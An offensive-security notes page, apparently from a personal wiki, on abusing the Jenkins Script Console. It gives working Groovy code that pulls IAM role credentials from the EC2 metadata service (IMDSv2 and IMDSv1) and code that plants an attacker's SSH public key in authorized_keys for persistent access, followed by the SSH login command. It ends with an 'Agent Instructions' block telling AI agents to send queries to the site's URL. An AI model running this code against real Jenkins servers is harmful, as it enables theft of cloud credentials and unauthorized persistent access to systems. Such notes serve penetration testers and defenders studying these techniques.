# Jenkins

## Obtain EC2 Credentials from IMDSv2 with Script Console

* If Jenkins is running on an AWS EC2 instance that has an underlying Instance Profile, it's possible to obtain the credentials by interacting with the IMDS service&#x20;
* If IMDSv1 is used, we can achieve the same by querying IMDS without the `$TOKEN`

{% code overflow="wrap" %}

```groovy
// Step 1: Retrieve the IMDSv2 token
def tokenCommand = '''
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
'''
def tokenProcess = ["bash", "-c", tokenCommand].execute()
def token = tokenProcess.text.trim()

// Step 2: Use the token to fetch IAM role credentials
def metadataCommand = '''
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<instance-role>
'''.replace('$TOKEN', token) // Inject the token into the command
def metadataProcess = ["bash", "-c", metadataCommand].execute()
def metadataOutput = metadataProcess.text.trim()

// Output the IAM Role credentials
println metadataOutput
```

{% endcode %}

***

## SSH Persistence with Script Console

* We can upload our public SSH key to the Jenkins server, allowing us SSH access (provided SSH is enabled)
* See [ssh](/coding-and-cli-tooling/cli-tools/ssh.md#create-an-ssh-key) for guidance if needed

{% code overflow="wrap" %}

```groovy
// create authorized_keys file if it doesn't exist
def command = "mkdir ~/.ssh && touch ~/.ssh/authorized_keys"
def shell = "/bin/bash" // or /bin/sh, depending on your system
def process = ["$shell", "-c", command]. execute()
process.waitFor ()

// Check for success
if(process.exitValue() == 0) {
	println "Command executed successfully. Output:"
	// Reading the standard output
	process.in.eachLine { line ->
		println line
	}
}
```

{% endcode %}

{% code overflow="wrap" %}

```groovy
// upload public ssh key (cat ~/.ssh/mykey.pub)
def command = "echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAC....' >> ~/.ssh/authorized_keys"
def shell = "/bin/bash" // or /bin/sh, depending on your system
def process = ["$shell", "-c", command]. execute()
process.waitFor ()

// Check for success
if(process.exitValue() == 0) {
	println "Command executed successfully. Output:"
	// Reading the standard output
	process.in.eachLine { line ->
		println line
	}
}
```

{% endcode %}

{% code overflow="wrap" %}

```bash
# ssh into jenkins server
ssh -o "IdentitiesOnly=yes" -i mykey user@host
```

{% endcode %}

<figure><img src="/files/L0dKxclRbuUNBQNzUsPq" alt=""><figcaption><p>Jenkins Script Console - Viewing results of adding public key to jenkins server</p></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.techwithtyler.dev/miscellaneous/jenkins.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
